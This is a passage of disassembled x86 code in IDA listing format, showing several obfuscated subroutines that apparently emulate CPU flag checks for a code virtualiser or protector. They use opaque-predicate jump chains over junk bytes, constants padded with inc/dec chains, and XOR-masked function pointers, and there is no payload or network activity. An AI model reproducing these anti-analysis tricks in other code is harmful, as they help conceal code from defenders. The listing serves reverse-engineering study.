jo short loc_499BEC
jl short loc_499BEA
loc_499BE7: ; CODE XREF: sub_499B77:loc_499BEAj
; sub_499B77:loc_499BECj
jmp short loc_499BEE
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
loc_499BEA: ; CODE XREF: sub_499B77+6Ej
jz short loc_499BE7
loc_499BEC: ; CODE XREF: sub_499B77+6Cj
jmp short loc_499BE7
; ---------------------------------------------------------------------------
loc_499BEE: ; CODE XREF: sub_499B77:loc_499BE7j
and al, bl
mov eax, eax
pop ebx
neg eax
sbb eax, eax
inc eax
pop edx
mov [ebp+var_C], eax
mov ecx, dword_4ED3F0
xor ecx, dword_4ED3F4
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_499C1C
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_499C1C: ; CODE XREF: sub_499B77+9Aj
mov eax, [ebp+var_8]
push eax
call off_4F1D48
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_499B77 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_499C30 proc near ; DATA XREF: sub_4965D8+3A4o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DCC
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ebx
mov ebx, 80h
jmp short loc_499C59
; ---------------------------------------------------------------------------
mov ebx, 4
loc_499C59: ; CODE XREF: sub_499C30+22j
mov ebx, 27h
xor ebx, 15h
not ebx
bswap eax
not ebx
inc ebx
inc ebx
sub ebx, 0FFFFFFFFh
inc ebx
inc ebx
inc ebx
sub ebx, 0FFFFFFFFh
inc ebx
inc ebx
sub ebx, 0FFFFFFFFh
add ebx, 0FFFFFFFFh
push ecx
mov ecx, 3
inc ecx
add ebx, ecx
inc ebx
pop ecx
bswap eax
and eax, ebx
pop ebx
neg eax
sbb eax, eax
inc eax
pop edx
mov [ebp+var_C], eax
mov ecx, dword_4ED3FC
xor ecx, dword_4ED400
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_499CB3
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_499CB3: ; CODE XREF: sub_499C30+78j
mov eax, [ebp+var_8]
push eax
call off_4F1D54
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_499C30 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_499CC7 proc near ; DATA XREF: sub_4965D8+129o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DC4
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push 0Ah
pop ebx
dec bl
dec bl
dec bl
add bl, 0FFh
add bl, 0FFh
dec bl
jo short loc_499D06
jl short loc_499D04
loc_499D01: ; CODE XREF: sub_499CC7:loc_499D04j
; sub_499CC7:loc_499D06j
jmp short loc_499D08
; ---------------------------------------------------------------------------
db 0B8h
; ---------------------------------------------------------------------------
loc_499D04: ; CODE XREF: sub_499CC7+38j
jz short loc_499D01
loc_499D06: ; CODE XREF: sub_499CC7+36j
jmp short loc_499D01
; ---------------------------------------------------------------------------
loc_499D08: ; CODE XREF: sub_499CC7:loc_499D01j
add bl, 0FFh
add bl, 0FFh
add bl, 0FFh
add bl, 0FFh
and al, bl
jo short loc_499D1F
jl short loc_499D1D
loc_499D1A: ; CODE XREF: sub_499CC7:loc_499D1Dj
; sub_499CC7:loc_499D1Fj
jmp short loc_499D21
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
loc_499D1D: ; CODE XREF: sub_499CC7+51j
jz short loc_499D1A
loc_499D1F: ; CODE XREF: sub_499CC7+4Fj
jmp short loc_499D1A
; ---------------------------------------------------------------------------
loc_499D21: ; CODE XREF: sub_499CC7:loc_499D1Aj
mov dh, 15h
and dl, 0
dec dh
sub dh, 6
dec dh
dec dh
dec dh
sub dh, 1
dec dh
dec dh
and ah, dh
pop ebx
pop edx
test eax, eax
jz short loc_499D48
not eax
add eax, 1
stc
jmp short loc_499D4E
; ---------------------------------------------------------------------------
loc_499D48: ; CODE XREF: sub_499CC7+77j
not eax
add eax, 1
clc
loc_499D4E: ; CODE XREF: sub_499CC7+7Fj
sbb eax, eax
neg eax
mov [ebp+var_C], eax
mov ecx, dword_4ED3F4
xor ecx, dword_4ED3F8
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_499D75
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_499D75: ; CODE XREF: sub_499CC7+A3j
mov eax, [ebp+var_8]
push eax
call off_4F1D4C
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_499CC7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_499D89 proc near ; DATA XREF: sub_4965D8+F54o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DAC
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push 1Fh
pop ebx
sub bl, 5
dec bl
push eax
dec bl
dec bl
and eax, 80h
dec bl
sub bl, 12h
sub bl, 3
pop eax
dec bl
and al, bl
mov edx, 1400h
dec dh
sub dh, 3
dec dh
sub dh, 6
dec dh
jo short loc_499DE9
jl short loc_499DE7
loc_499DE2: ; CODE XREF: sub_499D89:loc_499DE7j
; sub_499D89:loc_499DE9j
jmp short loc_499DEB
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_499DE7: ; CODE XREF: sub_499D89+57j
jz short loc_499DE2
loc_499DE9: ; CODE XREF: sub_499D89+55j
jmp short loc_499DE2
; ---------------------------------------------------------------------------
loc_499DEB: ; CODE XREF: sub_499D89:loc_499DE2j
and ah, dh
pop ebx
pop edx
neg eax
sbb eax, eax
neg eax
mov [ebp+var_C], eax
mov ecx, dword_4ED3DC
xor ecx, dword_4ED3E0
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_499E18
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_499E18: ; CODE XREF: sub_499D89+84j
mov eax, [ebp+var_8]
push eax
call off_4F1D34
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_499D89 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_499E2C proc near ; DATA XREF: sub_4965D8+E44o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DB0
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push eax
mov bh, 7
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
and eax, 800h
bswap ecx
pop eax
bswap ecx
and ah, bh
mov bl, 87h
sub bl, 5
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
sub bl, 1Ah
dec bl
dec bl
sub bl, 1Fh
not bx
bswap eax
not bx
bswap eax
and al, bl
mov eax, eax
pop ebx
neg eax
sbb eax, eax
neg eax
pop edx
mov [ebp+var_C], eax
mov ecx, dword_4ED3E0
xor ecx, dword_4ED3E4
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_499EC4
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_499EC4: ; CODE XREF: sub_499E2C+8Dj
mov eax, [ebp+var_8]
push eax
call off_4F1D38
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_499E2C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_499ED8 proc near ; DATA XREF: sub_4965D8+8C7o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DA0
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ebx
mov ebx, 0FFFFh
and eax, ebx
push ecx
mov ch, 2Ch
sub ch, 1
sub ch, 20h
dec ch
dec ch
sub ch, 4
dec ch
sub ch, 3
dec ch
and ah, ch
mov cl, 0AFh
sub cl, 2
dec cl
dec cl
dec cl
sub cl, 6
not al
bswap ecx
not al
bswap ecx
dec cl
dec cl
sub cl, 10h
dec cl
dec cl
add cl, 0Ch
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
sub cl, 10h
sub cl, 1
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
not ecx
bswap eax
not ecx
bswap eax
inc cl
add cl, 2
and al, cl
mov eax, eax
pop ecx
neg eax
sbb eax, eax
inc eax
pop ebx
push eax
mov eax, [ebp+var_4]
mov edx, 300h
inc dh
inc dh
dec dh
inc dh
inc dh
inc dh
inc dh
and eax, edx
neg eax
sbb eax, eax
inc eax
mov edx, eax
pop eax
xor ecx, ecx
cmp eax, edx
setz cl
mov al, cl
mov [ebp+var_C], eax
mov ecx, dword_4ED3D0
xor ecx, dword_4ED3D4
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_499FC0
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_499FC0: ; CODE XREF: sub_499ED8+DDj
mov eax, [ebp+var_8]
push eax
call off_4F1D28
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_499ED8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_499FD4 proc near ; DATA XREF: sub_4965D8+360o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DD4
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov dh, 2
sub dh, 0FFh
dec dh
sub dh, 0FFh
dec dh
sub dh, 0FFh
sub dh, 1
sub dh, 1
dec dh
and ah, dh
mov edx, 800h
mov dl, 0Fh
sub dl, 0FFh
sub dl, 0FFh
sub dl, 0FFh
sub dl, 0Ah
sub dl, 0FFh
sub dl, 0FFh
sub dl, 5
dec dl
dec dl
dec dl
sub dl, 3
sub dl, 0FFh
dec dl
inc dl
inc dl
and al, dl
not ah
not ah
pop edx
neg eax
sbb eax, eax
inc eax
mov [ebp+var_C], eax
mov ecx, dword_4ED404
xor ecx, dword_4ED408
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49A067
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49A067: ; CODE XREF: sub_499FD4+88j
mov eax, [ebp+var_8]
push eax
call off_4F1D5C
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_499FD4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49A07B proc near ; DATA XREF: sub_4965D8+2D8o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DB0
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ebx
mov ebx, 80h
jmp short loc_49A0A4
; ---------------------------------------------------------------------------
mov ebx, 40h
loc_49A0A4: ; CODE XREF: sub_49A07B+22j
mov ebx, 71h
not ebx
bswap eax
not ebx
inc ebx
inc ebx
inc ebx
add ebx, 7
push ecx
mov ecx, 4
add ebx, ecx
inc ebx
pop ecx
bswap eax
and eax, ebx
pop ebx
neg eax
sbb eax, eax
neg eax
pop edx
mov [ebp+var_C], eax
mov ecx, dword_4ED3E0
xor ecx, dword_4ED3E4
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49A0EE
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49A0EE: ; CODE XREF: sub_49A07B+68j
mov eax, [ebp+var_8]
push eax
call off_4F1D38
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49A07B endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49A102 proc near ; DATA XREF: sub_4965D8+11A1o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DE0
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push eax
mov bh, 4
dec bh
dec bh
dec bh
dec bh
and eax, 80h
bswap ecx
pop eax
bswap ecx
and ah, bh
mov bl, 86h
sub bl, 5
dec bl
dec bl
dec bl
jo short loc_49A154
jl short loc_49A152
loc_49A14D: ; CODE XREF: sub_49A102:loc_49A152j
; sub_49A102:loc_49A154j
jmp short loc_49A156
; ---------------------------------------------------------------------------
icebp
adc ah, [esi]
loc_49A152: ; CODE XREF: sub_49A102+49j
jz short loc_49A14D
loc_49A154: ; CODE XREF: sub_49A102+47j
jmp short loc_49A14D
; ---------------------------------------------------------------------------
loc_49A156: ; CODE XREF: sub_49A102:loc_49A14Dj
dec bl
dec bl
dec bl
dec bl
sub bl, 1Ah
dec bl
sub bl, 1Fh
not bx
bswap eax
not bx
bswap eax
and al, bl
pop ebx
pop edx
test eax, eax
jnz loc_49A227
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push eax
mov bh, 1
dec bh
and eax, 41h
bswap ecx
pop eax
bswap ecx
and ah, bh
mov bl, 93h
sub bl, 0Bh
not bx
bswap eax
not bx
bswap eax
and al, bl
mov eax, eax
pop ebx
neg eax
sbb eax, eax
inc eax
pop edx
mov ecx, eax
push ecx
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push 1Fh
pop ebx
jo short loc_49A1CE
jl short loc_49A1CC
loc_49A1C7: ; CODE XREF: sub_49A102:loc_49A1CCj
; sub_49A102:loc_49A1CEj
jmp short loc_49A1D0
; ---------------------------------------------------------------------------
db 0F2h, 12h, 26h
; ---------------------------------------------------------------------------
loc_49A1CC: ; CODE XREF: sub_49A102+C3j
jz short loc_49A1C7
loc_49A1CE: ; CODE XREF: sub_49A102+C1j
jmp short loc_49A1C7
; ---------------------------------------------------------------------------
loc_49A1D0: ; CODE XREF: sub_49A102:loc_49A1C7j
sub bl, 6
push eax
and eax, 40h
dec bl
sub bl, 14h
sub bl, 3
pop eax
dec bl
and al, bl
mov edx, 1200h
dec dh
sub dh, 1
dec dh
sub dh, 7
and ah, dh
pop ebx
pop edx
neg eax
sbb eax, eax
inc eax
dec eax
jo short loc_49A208
jl short loc_49A206
loc_49A201: ; CODE XREF: sub_49A102:loc_49A206j
; sub_49A102:loc_49A208j
jmp short loc_49A20A
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_49A206: ; CODE XREF: sub_49A102+FDj
jz short loc_49A201
loc_49A208: ; CODE XREF: sub_49A102+FBj
jmp short loc_49A201
; ---------------------------------------------------------------------------
loc_49A20A: ; CODE XREF: sub_49A102:loc_49A201j
inc eax
dec eax
inc eax
dec eax
inc eax
dec eax
jo short loc_49A219
jl short loc_49A217
loc_49A214: ; CODE XREF: sub_49A102:loc_49A217j
; sub_49A102:loc_49A219j
jmp short loc_49A21B
; ---------------------------------------------------------------------------
db 0C7h
; ---------------------------------------------------------------------------
loc_49A217: ; CODE XREF: sub_49A102+110j
jz short loc_49A214
loc_49A219: ; CODE XREF: sub_49A102+10Ej
jmp short loc_49A214
; ---------------------------------------------------------------------------
loc_49A21B: ; CODE XREF: sub_49A102:loc_49A214j
inc eax
pop ecx
cmp ecx, eax
jnz short loc_49A227
and eax, 0
inc eax
jmp short loc_49A22A
; ---------------------------------------------------------------------------
loc_49A227: ; CODE XREF: sub_49A102+74j
; sub_49A102+11Dj
and eax, 0
loc_49A22A: ; CODE XREF: sub_49A102+123j
mov [ebp+var_C], eax
mov ecx, dword_4ED410
xor ecx, dword_4ED414
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49A24D
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49A24D: ; CODE XREF: sub_49A102+140j
mov eax, [ebp+var_8]
push eax
call off_4F1D68
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49A102 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49A261 proc near ; DATA XREF: sub_4965D8+635o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DD8
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push 0Dh
pop ebx
jo short loc_49A294
jl short loc_49A292
loc_49A28D: ; CODE XREF: sub_49A261:loc_49A292j
; sub_49A261:loc_49A294j
jmp short loc_49A296
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_49A292: ; CODE XREF: sub_49A261+2Aj
jz short loc_49A28D
loc_49A294: ; CODE XREF: sub_49A261+28j
jmp short loc_49A28D
; ---------------------------------------------------------------------------
loc_49A296: ; CODE XREF: sub_49A261:loc_49A28Dj
sub bl, 5
dec bl
push eax
dec bl
dec bl
and eax, 41h
dec bl
sub bl, 3
pop eax
dec bl
and al, bl
mov edx, 2500h
dec dh
sub dh, 3
dec dh
sub dh, 17h
dec dh
and ah, dh
pop ebx
pop edx
neg eax
sbb eax, eax
neg eax
mov [ebp+var_C], eax
mov ecx, dword_4ED408
xor ecx, dword_4ED40C
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49A2EB
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49A2EB: ; CODE XREF: sub_49A261+7Fj
mov eax, [ebp+var_8]
push eax
call off_4F1D60
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49A261 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49A2FF proc near ; DATA XREF: sub_4965D8+115Do
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
jo short loc_49A314
jl short loc_49A312
loc_49A30F: ; CODE XREF: sub_49A2FF:loc_49A312j
; sub_49A2FF:loc_49A314j
jmp short loc_49A316
; ---------------------------------------------------------------------------
db 8Bh
; ---------------------------------------------------------------------------
loc_49A312: ; CODE XREF: sub_49A2FF+Ej
jz short loc_49A30F
loc_49A314: ; CODE XREF: sub_49A2FF+Cj
jmp short loc_49A30F
; ---------------------------------------------------------------------------
loc_49A316: ; CODE XREF: sub_49A2FF:loc_49A30Fj
mov ebx, 4
and eax, ebx
mov ch, 52h
dec ch
mov ebx, [ebp+arg_4]
dec esi
dec edi
dec edi
xor ecx, ecx
or ebx, ecx
jz short loc_49A338
dec edi
sub ch, 2
dec ch
and eax, 0
jmp short loc_49A34E
; ---------------------------------------------------------------------------
loc_49A338: ; CODE XREF: sub_49A2FF+2Cj
dec edi
dec ecx
sub ch, 2
dec ch
dec ch
sub ch, 8
and eax, 0
dec ecx
sub ch, 2
inc eax
dec ch
loc_49A34E: ; CODE XREF: sub_49A2FF+37j
mov [ebp+var_8], eax
mov eax, dword_4ED3B0
xor eax, dword_4ED3B4
shl eax, 1
mov [ebp+var_4], eax
cmp [ebp+var_8], 0
jz short loc_49A370
mov ecx, [ebp+var_4]
or ecx, 1
mov [ebp+var_4], ecx
loc_49A370: ; CODE XREF: sub_49A2FF+66j
mov edx, [ebp+var_4]
push edx
call off_4F1D08
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49A2FF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49A384 proc near ; DATA XREF: sub_4965D8+11CFo
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DE4
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ebx
mov ebx, 0FFFFh
and eax, ebx
push ecx
mov ch, 2Ch
sub ch, 1
sub ch, 20h
dec ch
dec ch
sub ch, 4
dec ch
sub ch, 3
dec ch
and ah, ch
mov cl, 70h
sub cl, 2
dec cl
dec cl
dec cl
sub cl, 6
not al
bswap ecx
not al
bswap ecx
dec cl
dec cl
sub cl, 10h
dec cl
dec cl
add cl, 0Ch
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
sub cl, 10h
sub cl, 1
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
not ecx
bswap eax
not ecx
bswap eax
inc cl
add cl, 2
and al, cl
mov eax, eax
pop ecx
neg eax
sbb eax, eax
inc eax
pop ebx
mov [ebp+var_C], eax
mov ecx, dword_4ED414
xor ecx, dword_4ED418
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49A442
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49A442: ; CODE XREF: sub_49A384+B3j
mov eax, [ebp+var_8]
push eax
call off_4F1D6C
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49A384 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49A456 proc near ; DATA XREF: sub_4965D8+525o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DC4
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ebx
mov ebx, 0FFFFh
and eax, ebx
push ecx
mov ch, 2Dh
dec ch
sub ch, 1
sub ch, 20h
dec ch
dec ch
sub ch, 7
dec ch
dec ch
and ah, ch
mov cl, 0BDh
sub cl, 2
sub cl, 6
dec cl
not cl
bswap edx
not cl
bswap edx
dec cl
dec cl
sub cl, 3
dec cl
dec cl
dec cl
push eax
dec cl
dec cl
sub cl, 4
inc cl
inc cl
dec cl
dec cl
sub cl, 11h
dec cl
and eax, 10h
dec cl
dec cl
dec cl
add cl, 0Fh
dec cl
dec cl
and eax, 80h
sub cl, 1Fh
dec cl
dec cl
inc cl
dec cl
dec cl
inc cl
dec cl
not ecx
bswap eax
not ecx
bswap eax
pop eax
inc cl
inc cl
inc cl
add cl, 2
dec cl
and al, cl
mov eax, eax
pop ecx
neg eax
sbb eax, eax
neg eax
pop ebx
mov [ebp+var_C], eax
mov ecx, dword_4ED3F4
xor ecx, dword_4ED3F8
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49A52F
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49A52F: ; CODE XREF: sub_49A456+CEj
mov eax, [ebp+var_8]
push eax
call off_4F1D4C
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49A456 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49A543 proc near ; DATA XREF: sub_4965D8+1DFo
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DCC
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ebx
mov ebx, [ebp+arg_4]
mov ebx, 0FFFFh
and eax, ebx
push ecx
mov ch, 2Ch
sub ch, 1
sub ch, 20h
dec ch
dec ch
sub ch, 4
dec ch
sub ch, 3
dec ch
and ah, ch
mov cl, 70h
sub cl, 2
dec cl
dec cl
dec cl
sub cl, 6
not al
bswap ecx
not al
bswap ecx
dec cl
dec cl
sub cl, 10h
dec cl
dec cl
add cl, 0Ch
dec cl
dec cl
dec cl
jo short loc_49A5B6
jl short loc_49A5B4
loc_49A5B1: ; CODE XREF: sub_49A543:loc_49A5B4j
; sub_49A543:loc_49A5B6j
jmp short loc_49A5B8
; ---------------------------------------------------------------------------
db 0C7h
; ---------------------------------------------------------------------------
loc_49A5B4: ; CODE XREF: sub_49A543+6Cj
jz short loc_49A5B1
loc_49A5B6: ; CODE XREF: sub_49A543+6Aj
jmp short loc_49A5B1
; ---------------------------------------------------------------------------
loc_49A5B8: ; CODE XREF: sub_49A543:loc_49A5B1j
dec cl
dec cl
dec cl
dec cl
sub cl, 10h
sub cl, 1
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
not ecx
bswap eax
not ecx
bswap eax
inc cl
add cl, 2
and al, cl
mov eax, eax
pop ecx
pop ebx
test eax, eax
jnz loc_49A6C7
mov eax, [ebp+var_4]
jo short loc_49A5FD
jl short loc_49A5FB
loc_49A5F8: ; CODE XREF: sub_49A543:loc_49A5FBj
; sub_49A543:loc_49A5FDj
jmp short loc_49A5FF
; ---------------------------------------------------------------------------
db 0C7h
; ---------------------------------------------------------------------------
loc_49A5FB: ; CODE XREF: sub_49A543+B3j
jz short loc_49A5F8
loc_49A5FD: ; CODE XREF: sub_49A543+B1j
jmp short loc_49A5F8
; ---------------------------------------------------------------------------
loc_49A5FF: ; CODE XREF: sub_49A543:loc_49A5F8j
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push eax
mov bh, 7
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
and eax, 800h
bswap ecx
pop eax
bswap ecx
and ah, bh
mov bl, 0C6h
sub bl, 5
dec bl
dec bl
dec bl
sub bl, 4
sub bl, 1Ah
dec bl
sub bl, 1Fh
not bx
bswap eax
not bx
bswap eax
and al, bl
mov eax, eax
pop ebx
neg eax
sbb eax, eax
inc eax
pop edx
mov ecx, eax
push ecx
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push 1Fh
pop ebx
sub bl, 5
dec bl
push eax
dec bl
dec bl
and eax, 40h
dec bl
sub bl, 12h
sub bl, 3
pop eax
dec bl
and al, bl
mov edx, 1200h
dec dh
sub dh, 1
dec dh
sub dh, 7
and ah, dh
pop ebx
pop edx
neg eax
sbb eax, eax
inc eax
dec eax
jo short loc_49A69E
jl short loc_49A69C
loc_49A699: ; CODE XREF: sub_49A543:loc_49A69Cj
; sub_49A543:loc_49A69Ej
jmp short loc_49A6A0
; ---------------------------------------------------------------------------
db 0C7h
; ---------------------------------------------------------------------------
loc_49A69C: ; CODE XREF: sub_49A543+154j
jz short loc_49A699
loc_49A69E: ; CODE XREF: sub_49A543+152j
jmp short loc_49A699
; ---------------------------------------------------------------------------
loc_49A6A0: ; CODE XREF: sub_49A543:loc_49A699j
inc eax
dec eax
jo short loc_49A6AB
jl short loc_49A6A9
loc_49A6A6: ; CODE XREF: sub_49A543:loc_49A6A9j
; sub_49A543:loc_49A6ABj
jmp short loc_49A6AD
; ---------------------------------------------------------------------------
db 0C7h
; ---------------------------------------------------------------------------
loc_49A6A9: ; CODE XREF: sub_49A543+161j
jz short loc_49A6A6
loc_49A6AB: ; CODE XREF: sub_49A543+15Fj
jmp short loc_49A6A6
; ---------------------------------------------------------------------------
loc_49A6AD: ; CODE XREF: sub_49A543:loc_49A6A6j
inc eax
dec eax
inc eax
dec eax
jo short loc_49A6BA
jl short loc_49A6B8
loc_49A6B5: ; CODE XREF: sub_49A543:loc_49A6B8j
; sub_49A543:loc_49A6BAj
jmp short loc_49A6BC
; ---------------------------------------------------------------------------
db 0C7h
; ---------------------------------------------------------------------------
loc_49A6B8: ; CODE XREF: sub_49A543+170j
jz short loc_49A6B5
loc_49A6BA: ; CODE XREF: sub_49A543+16Ej
jmp short loc_49A6B5
; ---------------------------------------------------------------------------
loc_49A6BC: ; CODE XREF: sub_49A543:loc_49A6B5j
inc eax
pop ecx
cmp ecx, eax
jnz short loc_49A6C7
and eax, 0
jmp short loc_49A6CB
; ---------------------------------------------------------------------------
loc_49A6C7: ; CODE XREF: sub_49A543+A8j
; sub_49A543+17Dj
and eax, 0
inc eax
loc_49A6CB: ; CODE XREF: sub_49A543+182j
